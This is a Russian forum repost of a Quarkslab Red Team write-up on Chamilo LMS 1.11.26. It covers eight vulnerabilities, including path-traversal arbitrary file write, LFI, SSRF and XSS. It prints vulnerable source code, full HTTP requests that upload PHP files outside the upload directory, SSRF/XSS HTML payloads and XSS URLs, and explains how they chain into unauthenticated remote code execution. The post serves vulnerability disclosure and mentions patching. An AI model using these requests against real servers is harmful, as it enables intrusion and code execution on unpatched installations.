Эксплуатация Chamilo во время работы Red Team

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Источник: https://blog.quarkslab.com/exploiting-chamilo-during-a-red-team-engagement.html
Перевёл: BLUA специально для xss.is

Контекст

Chamilo — это платформа для электронного обучения с открытым исходным кодом, используемая педагогами по всему миру для цифровизации и формализации содержания своих курсов.

Во время работы с Red Team мы оказались в ситуации, когда объем работ, связанный с нашим клиентом, был крайне ограничен. Тем не менее, мы обнаружили, что в Интернете есть актуальная версия Chamilo, которая доступна для общего доступа. Эта CMS разработана на PHP, что делает её особенно интересной целью для нас. Зная, что в 2023 году коллеги-исследователи из RandoriSec и STAR Labs выявили несколько уязвимостей, мы были уверены в своих шансах найти новые уязвимости, которые позволят нам получить первоначальный доступ.

Мы провели аудит исходного кода с ограниченным временем и выявили множество уязвимостей в последней версии CMS (1.11.26 на тот момент), хотя только несколько из них оказались полезными для построения полной цепочки эксплуатации, которая позволила бы нам выполнить удаленное выполнение кода без аутентификации.

На основе нашего аудита исходного кода мы выявили следующие уязвимости:
- Множественная произвольная запись файлов с удаленным выполнением кода.
- V1: Произвольная запись файлов через /main/inc/ajax/document.ajax.php
- V2: Произвольная запись файлов через /main/admin/user_edit.php
- Путь обхода к локальному включению файлов с удаленным выполнением кода.
- V3: Обход пути к локальному включению файлов через вызов require() в /main/inc/ajax/plugin.ajax.php
- Подделка запросов со стороны сервера (SSRF)
- V4: Подделка запросов со стороны сервера (SSRF) через функцию конвертации HTML в PDF.
- Множественные межсайтовые скриптовые атаки (XSS)
- Множественные отраженные межсайтовые скриптовые атаки (XSS)
- V5: Отраженная межсайтовая скриптовая атака (XSS) в /main/session/session_category_list.php
- V6: Отраженная межсайтовая скриптовая атака (XSS) в /main/upload/index.php
- Множественные сохраненные межсайтовые скриптовые атаки (XSS)
- V7: Сохраненная межсайтовая скриптовая атака (XSS) в /main/calendar/agenda.php
- V8: Сохраненная межсайтовая скриптовая атака (XSS) через функцию обмена сообщениями

Статический анализ (ручное чтение кода) использовался для выявления всех уязвимостей без использования каких-либо инструментов SAST или других инструментов.
Нажмите, чтобы раскрыть...

Среди 8 уязвимостей, выявленных в ядре, одна (V1) была использована в нашей цепочке для достижения удаленного выполнения кода (RCE) (опционально могла быть использована V3), как описано на диаграмме ниже.

1.png



V1: Произвольная запись файла через /main/inc/ajax/document.ajax.php

- Путь запроса: /main/inc/ajax/document.ajax.php
- Параметр запроса: $_FILES['upload']

Файл: /main/inc/ajax/document.ajax.php
PHP: Скопировать в буфер обмена
Код:
<?php

...

require_once __DIR__.'/../global.inc.php';

$action = $_REQUEST['a'];
switch ($action) {

    ...

    case 'ck_uploadimage':
        api_protect_course_script(true);

        // it comes from uploaimage drag and drop ckeditor
        $isCkUploadImage = ($_COOKIE['ckCsrfToken'] == $_POST['ckCsrfToken']);

        if (!$isCkUploadImage) {
            exit;
        }

        $data = [];
        $fileUpload = $_FILES['upload'];
        $currentDirectory = Security::remove_XSS($_REQUEST['curdirpath']);
        $isAllowedToEdit = api_is_allowed_to_edit(null, true);
        if ($isAllowedToEdit) {

            ...

        } else {
            $userId = api_get_user_id();
            $syspath = UserManager::getUserPathById($userId, 'system').'my_files'.$currentDirectory;
            if (!is_dir($syspath)) {
                mkdir($syspath, api_get_permissions_for_new_directories(), true);
            }
            $webpath = UserManager::getUserPathById($userId, 'web').'my_files'.$currentDirectory;
            $fileUploadName = $fileUpload['name'];
            if (file_exists($syspath.$fileUploadName)) {
                $extension = pathinfo($fileUploadName, PATHINFO_EXTENSION);
                $fileName = pathinfo($fileUploadName, PATHINFO_FILENAME);
                $suffix = '_'.uniqid();
                $fileUploadName = $fileName.$suffix.'.'.$extension;
            }
            if (move_uploaded_file($fileUpload['tmp_name'], $syspath.$fileUploadName)) {
                $url = $webpath.$fileUploadName;
                $relativeUrl = str_replace(api_get_path(WEB_PATH), '/', $url);
                $data = [
                    'uploaded' => 1,
                    'fileName' => $fileUploadName,
                    'url' => $relativeUrl,
                ];
            }
        }
        echo json_encode($data);
        exit;

...

}
exit;

Вышеуказанный фрагмент кода показывает, что содержимое файла (контролируемое злоумышленником) записывается в расположение, созданное на основе данных, предоставленных злоумышленником ($_REQUEST['curdirpath'], $_FILES['upload']['name']). В результате злоумышленник может записать файл, контролируя его содержимое и путь, что позволяет ему выполнять удаленный код. Таким образом, аутентифицированный пользователь с минимальным уровнем привилегий может воспользоваться этой уязвимостью.

Запрос на загрузку файла в корневую директорию Chamilo:
Код: Скопировать в буфер обмена
Код:
POST /Projects/chamilo_1.11.26/main/inc/ajax/document.ajax.php?a=ck_uploadimage&curdirpath=/../../../../../../ HTTP/1.1
Host: 127.0.0.1:58080
Content-Length: 227
Accept: */*
Cookie: ch_sid=<CHAMILO_COOKIE>
Content-Type: multipart/form-data; boundary=------------------------69e83ade0f7b04ec
Connection: close

--------------------------69e83ade0f7b04ec
Content-Disposition: form-data; name="upload"; filename="plugin.php"
Content-Type: application/octet-stream

<?php

phpinfo();

?>
--------------------------69e83ade0f7b04ec--

Ответ:
Код: Скопировать в буфер обмена
Код:
HTTP/1.1 200 OK
Date: Wed, 06 Mar 2024 12:37:44 GMT
Server: Apache/2.4.38 (Debian)
X-Content-Type-Options: nosniff
X-Powered-By: PHP/7.4.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 119
Connection: close
Content-Type: text/html; charset=UTF-8

{"uploaded":1,"fileName":"plugin.php","url":"\/app\/upload\/users\/3\/3\/my_files\/..\/..\/..\/..\/..\/..\/plugin.php"}

В зависимости от того, куда злоумышленник намеревается записать свой файл, ему нужно просто поиграть со значением параметра $_REQUEST['curdirpath'], определив количество шаблонов ../, необходимых для достижения желаемого местоположения.

Запрос на загрузку файла в /tmp:
Код: Скопировать в буфер обмена
Код:
POST /Projects/chamilo_1.11.26/main/inc/ajax/document.ajax.php?a=ck_uploadimage&curdirpath=/../../../../../../../../../../../../../../tmp/ HTTP/1.1
Host: 127.0.0.1:58080
User-Agent: curl/7.88.1
Accept: */*
Cookie: ch_sid=<CHAMILO_COOKIE>
Content-Length: 223
Content-Type: multipart/form-data; boundary=------------------------69e83ade0f7b04ec
Connection: close

--------------------------69e83ade0f7b04ec
Content-Disposition: form-data; name="upload"; filename="plugin.php"
Content-Type: application/octet-stream

<?php

phpinfo();

?>
--------------------------69e83ade0f7b04ec--

Ответ:
Код: Скопировать в буфер обмена
Код:
HTTP/1.1 200 OK
Date: Wed, 06 Mar 2024 00:26:46 GMT
Server: Apache/2.4.38 (Debian)
X-Content-Type-Options: nosniff
X-Powered-By: PHP/7.4.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 156
Connection: close
Content-Type: text/html; charset=UTF-8

{"uploaded":1,"fileName":"plugin.php","url":"\/app\/upload\/users\/3\/3\/my_files\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/tmp\/plugin.php"}

Это одна из уязвимостей, используемых в цепочке для получения удаленного выполнения кода без аутентификации.
Нажмите, чтобы раскрыть...

2.png



V2: Произвольная запись файла через /main/admin/user_edit.php

- Путь запроса: /main/admin/user_edit.php
- Параметр запроса: $_POST['extra_testextrafields']

Файл: /main/inc/lib/extra_field_value.lib.php
Функция: ExtraFieldValue::saveFieldValues()

PHP: Скопировать в буфер обмена
Код:
<?php

...

    public function saveFieldValues(
        $params,
        $onlySubmittedFields = false,
        $showQuery = false,
        $saveOnlyThisFields = [],
        $avoidFields = [],
        $forceSave = false,
        $deleteOldValues = true
    ) {

        ...

        // Parse params.
        foreach ($extraFields as $fieldDetails) {

            ...

            switch ($extraFieldInfo['field_type']) {

                ...

                case ExtraField::FIELD_TYPE_FILE:
                    $fileDir = $fileDirStored = '';
                    switch ($this->type) {
                        case 'course':
                            $fileDir = api_get_path(SYS_UPLOAD_PATH).'courses/';
                            $fileDirStored = "courses/";
                            break;
                        case 'session':
                            $fileDir = api_get_path(SYS_UPLOAD_PATH).'sessions/';
                            $fileDirStored = "sessions/";
                            break;
                        case 'user':
                            $fileDir = UserManager::getUserPathById($params['item_id'], 'system');
                            $fileDirStored = UserManager::getUserPathById($params['item_id'], 'last');
                            break;
                        case 'work':
                            $fileDir = api_get_path(SYS_UPLOAD_PATH).'work/';
                            $fileDirStored = "work/";
                            break;
                        case 'scheduled_announcement':
                            $fileDir = api_get_path(SYS_UPLOAD_PATH).'scheduled_announcement/';
                            $fileDirStored = 'scheduled_announcement/';
                            break;
                    }

                    $cleanedName = api_replace_dangerous_char($value['name']);
                    $fileName = ExtraField::FIELD_TYPE_FILE."_{$params['item_id']}_$cleanedName";
                    if (!file_exists($fileDir)) {
                        mkdir($fileDir, $dirPermissions, true);
                    }

                    if (!empty($value['tmp_name']) && isset($value['error']) && $value['error'] == 0) {
                        $cleanedName = api_replace_dangerous_char($value['name']);
                        $fileName = ExtraField::FIELD_TYPE_FILE."_{$params['item_id']}_$cleanedName";
                        moveUploadedFile($value, $fileDir.$fileName);

                        ...

                    }
                    break;

                ...

            }
        }
    }

...

Данный фрагмент кода подчеркивает, что аутентифицированный пользователь с высокими привилегиями (чаще всего администратор) может загрузить PHP-файл на сервер при изменении своего профиля. При создании файла, отправляемого злоумышленником через параметр $_POST['extra_testextrafields'], проверки на сгенерированное имя файла слишком лояльны (что позволяет создавать PHP-файлы). Однако, в отличие от описанной выше уязвимости (V1), этой можно воспользоваться только администратору.

Запрос на загрузку файла:
Код: Скопировать в буфер обмена
Код:
POST /Projects/chamilo_1.11.26/main/admin/user_edit.php?user_id=1 HTTP/1.1
Host: 127.0.0.1:58080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------109845679426710278371552566468
Content-Length: 4880
Origin: http://127.0.0.1:58080
Connection: close
Referer: http://127.0.0.1:58080/Projects/chamilo_1.11.26/main/admin/user_edit.php?user_id=1
Cookie: ch_sid=<CHAMILO_COOKIE>
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="firstname"

Jean
-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="lastname"

Dupont
-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="official_code"

ADMIN
-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="email"

webmaster@localhost.localdomain
-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="phone"

...

-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="extra_testextrafields"; filename="plugin.php"
Content-Type: application/x-php

<?php

phpinfo();

?>

-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="submit"


-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="_qf__user_edit"


-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="protect_token"

...

-----------------------------109845679426710278371552566468--

Ответ:
Код: Скопировать в буфер обмена
Код:
HTTP/1.1 302 Found
Date: Tue, 05 Mar 2024 23:01:56 GMT
Server: Apache/2.4.38 (Debian)
X-Content-Type-Options: nosniff
X-Powered-By: PHP/7.4.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: user_list.php
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

В результате вышеуказанного запроса файл затем сохраняется по адресу /app/upload/users/1/1/18_1_plugin.php.

Эта уязвимость не была использована в цепочке эксплуатации.
Нажмите, чтобы раскрыть...

V3: Проход по пути к LFI через вызов require() в /main/inc/ajax/plugin.ajax.php

- Путь запроса: /main/inc/ajax/plugin.ajax.php
- Параметр запроса: $_GET['plugin']
- Пример URL, использующего уязвимость: /main/inc/ajax/plugin.ajax.php?a=md_to_html&plugin=../../../../../../../../../../../../tmp

Файл: /main/inc/ajax/plugin.ajax.php

PHP: Скопировать в буфер обмена
Код:
<?php
/* For licensing terms, see /license.txt */
use Michelf\MarkdownExtra;

/** Это одна из уязвимостей, использованных в цепочке для получения удалённого выполнения кода без аутентификации.
 * Responses to AJAX calls.
 */
require_once __DIR__.'/../global.inc.php';

api_block_anonymous_users();

$action = $_REQUEST['a'];

switch ($action) {
    case 'md_to_html':
        $plugin = isset($_GET['plugin']) ? $_GET['plugin'] : '';
        $appPlugin = new AppPlugin();
        $pluginInfo = $appPlugin->getPluginInfo($plugin);

        ...

        break;
}

Файл: /main/inc/lib/plugin.lib.php
Функция: AppPlugin::getPluginInfo()

PHP: Скопировать в буфер обмена
Код:
<?php

...

    public function getPluginInfo($plugin_name, $forced = false)
    {
        $pluginData = Session::read('plugin_data');
        if (isset($pluginData[$plugin_name]) && $forced == false) {
            return $pluginData[$plugin_name];
        } else {
            $plugin_file = api_get_path(SYS_PLUGIN_PATH)."$plugin_name/plugin.php";

            $plugin_info = [];
            if (file_exists($plugin_file)) {
                require $plugin_file;
            }

            ...

        }
    }

    ...
...

В приведённом исходном коде показано, что, манипулируя параметром $_GET['plugin'], злоумышленник может контролировать первый аргумент функции AppPlugin::getPluginInfo(), которая, в свою очередь, создаёт путь (уязвимый к обходу каталога) на основе этого аргумента и затем вызывает функцию require() (включение локальных файлов, также известное как LFI) с созданным путём.

На самом деле, на этом этапе злоумышленник уже может получить выполнение кода через произвольную запись файла Arbitrary File Write(V1), поэтому эксплуатация этой уязвимости не имеет большого смысла. Однако мы нашли применение для этой уязвимости. Если злоумышленник не может записать свой веб-оболочку в корневую директорию веб-сервера, он всегда может записать её в такую директорию, как /tmp, а затем использовать эту уязвимость для её выполнения. Это скорее резервное или запасное решение, позволяющее нам обеспечить удалённое выполнение кода (RCE) независимо от контекста удалённого приложения.

Это одна из уязвимостей, использованных в цепочке для получения удалённого выполнения кода без аутентификации.
Нажмите, чтобы раскрыть...

3.png



V4: SSRF через функцию конвертации HTML в PDF.

В ходе аудита исходного кода было выявлено, что пользователь, имеющий возможность загружать файлы в рамках курса, может воспользоваться уязвимостью SSRF через функциональность генерации PDF. Эта уязвимость возникает из-за преобразования файлов .html и .htm в PDF с использованием компонента mPDF, для которого уже была задокументирована уязвимость SSRF в блоге, доступном в Интернете.

Ниже приведены скриншоты и соответствующие HTTP-запросы, которые иллюстрируют, как злоумышленник может активировать уязвимость. Используемый в следующих запросах полезный нагрузка выглядит следующим образом:

HTML: Скопировать в буфер обмена
Код:
<html>
<link href="http://172.17.0.1:8000/A?B=C" rel="stylesheet" media="print"/>
<body>
<p>XSS and SSRF</p>
<img/src="x"onerror="alert(1234)"/>
</body>
</html>

4.png



Запрос на загрузку файла (часть 1 из 3):
Код: Скопировать в буфер обмена
Код:
POST /Projects/chamilo_1.11.26/main/inc/lib/javascript/bigupload/inc/bigUpload.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document&action=upload&key=0&origin=document&name=poc.html HTTP/1.1
Host: 127.0.0.1:58080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-type: application/x-www-form-urlencoded
Content-Length: 195
Origin: http://127.0.0.1:58080
Connection: close
Referer: http://127.0.0.1:58080/Projects/chamilo_1.11.26/main/document/upload.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document&id=0
Cookie: ch_sid=<CHAMILO_COOKIE>
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

<html>
<link href="http://172.17.0.1:8000/A?B=C" rel="stylesheet" media="print"/>
<body>
<p>XSS and SSRF</p>
<img/src="x"onerror="alert(1234)"/>
</body>
</html>

Ответ:
Код: Скопировать в буфер обмена
Код:
HTTP/1.1 200 OK
Date: Sat, 02 Mar 2024 23:33:14 GMT
Server: Apache/2.4.38 (Debian)
X-Content-Type-Options: nosniff
X-Powered-By: PHP/7.4.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 38
Connection: close
Content-Type: text/html; charset=UTF-8

{"key":"40448921.tmp","errorStatus":0}

Запрос на загрузку файла (часть 2 из 3):
Код: Скопировать в буфер обмена
Код:
POST /Projects/chamilo_1.11.26/main/inc/lib/javascript/bigupload/inc/bigUpload.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document&action=upload&key=40448921.tmp&origin=document HTTP/1.1
Host: 127.0.0.1:58080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-type: application/x-www-form-urlencoded
Content-Length: 0
Origin: http://127.0.0.1:58080
Connection: close
Referer: http://127.0.0.1:58080/Projects/chamilo_1.11.26/main/document/upload.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document&id=0
Cookie: ch_sid=<CHAMILO_COOKIE>
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

Ответ:
Код: Скопировать в буфер обмена
Код:
HTTP/1.1 200 OK
Date: Sat, 02 Mar 2024 23:33:14 GMT
Server: Apache/2.4.38 (Debian)
X-Content-Type-Options: nosniff
X-Powered-By: PHP/7.4.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 38
Connection: close
Content-Type: text/html; charset=UTF-8

{"key":"40448921.tmp","errorStatus":0}

Запрос на загрузку файла (часть 3 из 3):
Код: Скопировать в буфер обмена
Код:
POST /Projects/chamilo_1.11.26/main/inc/lib/javascript/bigupload/inc/bigUpload.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document&action=finish HTTP/1.1
Host: 127.0.0.1:58080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-type: application/x-www-form-urlencoded
Content-Length: 184
Origin: http://127.0.0.1:58080
Connection: close
Referer: http://127.0.0.1:58080/Projects/chamilo_1.11.26/main/document/upload.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document&id=0
Cookie: ch_sid=<CHAMILO_COOKIE>
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

key=40448921.tmp&name=poc.html&type=text/html&size=195&origin=document&title=Test+SSRF+via+.html+file&comment=&if_exists=rename&_qf__upload=&id=0&curdirpath=%2F&MAX_FILE_SIZE=104857600

Ответ:
Код: Скопировать в буфер обмена
Код:
HTTP/1.1 200 OK
Date: Sat, 02 Mar 2024 23:33:15 GMT
Server: Apache/2.4.38 (Debian)
X-Content-Type-Options: nosniff
X-Powered-By: PHP/7.4.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 179
Connection: close
Content-Type: text/html; charset=UTF-8

{"errorStatus":0,"redirect":"http:\/\/127.0.0.1:58080\/Projects\/chamilo_1.11.26\/main\/document\/document.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document"}

5.png



Запрос на создание PDF-файла:
Код: Скопировать в буфер обмена
Код:
GET /Projects/chamilo_1.11.26/main/document/document.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document&action=export_to_pdf&id=6&curdirpath=%2F&sec_token=9be32517b0bd7710ada5ed1241792b80 HTTP/1.1
Host: 127.0.0.1:58080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://127.0.0.1:58080/Projects/chamilo_1.11.26/main/document/document.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document&action=export_to_pdf&id=6&curdirpath=%2F&sec_token=89a8ed03b8c11891347221d1240d80a4
Cookie: ch_sid=<CHAMILO_COOKIE>
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

Более того, наличие HTML-файла в файловой системе также может привести к срабатыванию сохраненного XSS, как только путь к файлу будет определен.

6.png



7.png



Эта уязвимость не была использована в цепочке эксплойтов.
Нажмите, чтобы раскрыть...

V5: Отраженный XSS в /main/session/session_category_list.php

- Путь запроса: /main/session/session_category_list.php
- Параметр запроса: $_REQUEST['keyword']
- Пример URL, использующего уязвимость: /main/session/session_category_list.php?keyword=IVOIRE%22autofocus=%22%22onfocus=%22alert(1)

Файл: /main/session/session_category_list.php
PHP: Скопировать в буфер обмена
Код:
<?php

...

                        <a href="<?php echo api_get_self(); ?>?page=<?php echo $page
                            - 1; ?>&sort=<?php echo $sort; ?>&order=<?php echo Security::remove_XSS(
                            $_REQUEST['order']
                        ); ?>&keyword=<?php echo $_REQUEST['keyword']; ?><?php echo @$cond_url; ?>">
                            <?php echo get_lang('Previous'); ?></a>
                        <?php
                    } else {
                        echo get_lang('Previous');
                    } ?>
                    |
                    <?php
                    if ($nbr_results > $limit) {
                        ?>

                        <a href="<?php echo api_get_self(); ?>?page=<?php echo $page
                            + 1; ?>&sort=<?php echo $sort; ?>&order=<?php echo Security::remove_XSS(
                            $_REQUEST['order']
                        ); ?>&keyword=<?php echo $_REQUEST['keyword']; ?><?php echo @$cond_url; ?>">
                            <?php echo get_lang('Next'); ?></a>

...

Пользователь с доступом к странице /main/session/session_category_list.php может вызвать уязвимость.

8.png



Запрос:
Код: Скопировать в буфер обмена
Код:
GET /Projects/chamilo_1.11.26/main/session/session_category_list.php?keyword=IVOIRE%22autofocus=%22%22onfocus=%22alert(1) HTTP/1.1
Host: 127.0.0.1:58080
Cookie: ch_sid=<CHAMILO_COOKIE>

Ответ:
Код: Скопировать в буфер обмена
Код:
HTTP/1.1 200 OK
Server: Apache/2.4.38 (Debian)
X-Powered-By: Chamilo 1
Content-Type: text/html; charset=UTF-8
Content-Length: 27367

...

                <div class="pull-right">
                    <form method="POST" action="session_category_list.php" class="form-inline">
                        <div class="form-group">
                            <input class="form-control" type="text" name="keyword" value="IVOIRE"autofocus=""onfocus="alert(1)"
                                   aria-label="Rechercher"/>
                            <button class="btn btn-default" type="submit" name="name"
                                    value="Rechercher"><em
                                        class="fa fa-search"></em> Rechercher</button>
                            <!-- <a href="session_list.php?search=advanced">Recherche avancée</a> -->
                        </div>
                    </form>
                </div>

...

Отраженная XSS-уязвимость может быть легко выявлена и использована, создавая URL, содержащий вредоносный параметр $_REQUEST['keyword'].

Эта уязвимость не была использована в цепочке эксплуатации.
Нажмите, чтобы раскрыть...

V6: Отраженная XSS в /main/upload/index.php

- Путь запроса: /main/upload/index.php
- Параметр запроса: $_REQUEST['tool']
- Пример URL, использующего уязвимость: /main/upload/index.php?tool=IVOIRE%22%3E%3Cscript%3Ealert(4)%3C/script%3E%3Cinput%20type=%22

Файл: /main/upload/form.document.php
PHP: Скопировать в буфер обмена
Код:
<?php

...

$nameTools = get_lang('FileUpload');
$interbreadcrumb[] = ["url" => "../lp/lp_controller.php?action=list", "name" => get_lang(TOOL_DOCUMENT)];
Display::display_header($nameTools, "Doc");
// Show the title
api_display_tool_title($nameTools.$add_group_to_title);
?>

<div id="dynamic_div" style="display:block;margin-left:40%;margin-top:10px;height:50px;">
</div>
<div id="upload_form_div" name="form_div" style="display:block;">
    <form method="POST" action="upload.php" id="upload_form" enctype="multipart/form-data">
        <input type="hidden" name="curdirpath" value="<?php echo $path; ?>">
        <input type="hidden" name="tool" value="<?php echo $my_tool; ?>">
        <input type="file" name="user_file">
        <input type="submit" name="submit" value="Upload">
    </form>
</div>
<br/>
<?php

Display::display_footer();

9.png



Отражённый XSS можно легко определить и использовать, создав URL, содержащий вредоносный параметр $_REQUEST['tool'].

Эта уязвимость не была использована в цепочке эксплуатации.
Нажмите, чтобы раскрыть...

V7: Хранённый XSS в /main/calendar/agenda.php

- Путь запроса: /main/calendar/agenda.php
- Параметр запроса: $_POST['content']

Можно использовать хранимый XSS через функциональность календаря. Проблема в том, что он срабатывает только при изменении содержимого события. В результате его использование в реалистичном сценарии атаки очень ограничено, в отличие от следующей уязвимости, которая будет описана (V8).

10.png

11.png


12.png


13.png



Эта уязвимость не была использована в цепочке эксплуатации.
Нажмите, чтобы раскрыть...

V8: Хранимый XSS через функцию обмена сообщениями.

Злоумышленник может отправить злонамеренное личное сообщение администратору, используя немного изменённый полезный нагрузку (по сравнению с предыдущими). Когда администратор открывает сообщение и пытается ответить, полезная нагрузка выполняется, что потенциально позволяет злоумышленнику получить выполнение кода (V2).

- Путь запроса: /main/messages/new_message.php
- Параметр запроса: $_POST['content']
14.png


15.png


16.png



Эта уязвимость не была использована в цепочке эксплуатации.
Нажмите, чтобы раскрыть...

Заключение

Получение удаленного выполнения кода от неаутентифицированного пользователя путем объединения некоторых из представленных уязвимостей является тривиальным (V1, V3), так как функциональность, позволяющая пользователю регистрироваться, включена в стандартной установке. Однако во время нашей миссии эта функция была отключена, и поэтому мы использовали другую уязвимость (SQL-инъекция без аутентификации в плагине), чтобы получить полную цепочку.

Не редкость искать уязвимости нулевого дня во время упражнений Red Team, особенно в определенных особых случаях (ограниченная поверхность атаки, необходимость в скрытности и т. д.), и мы рады, что смогли их найти.

Реализация корректирующих мер.

Уязвимости были сообщены команде разработчиков Chamilo 4 апреля 2024 года. Мы хотели бы поблагодарить разработчиков Chamilo, с которыми взаимодействие по вопросам отчетов об уязвимостях и реализации патчей прошло очень гладко.

Коммиты для исправления выявленных уязвимостей были отправлены нам партиями. Список коммитов, реализующих патчи для выявленных уязвимостей, представлен ниже:

View hidden content is available for registered users!
 
Сверху Снизу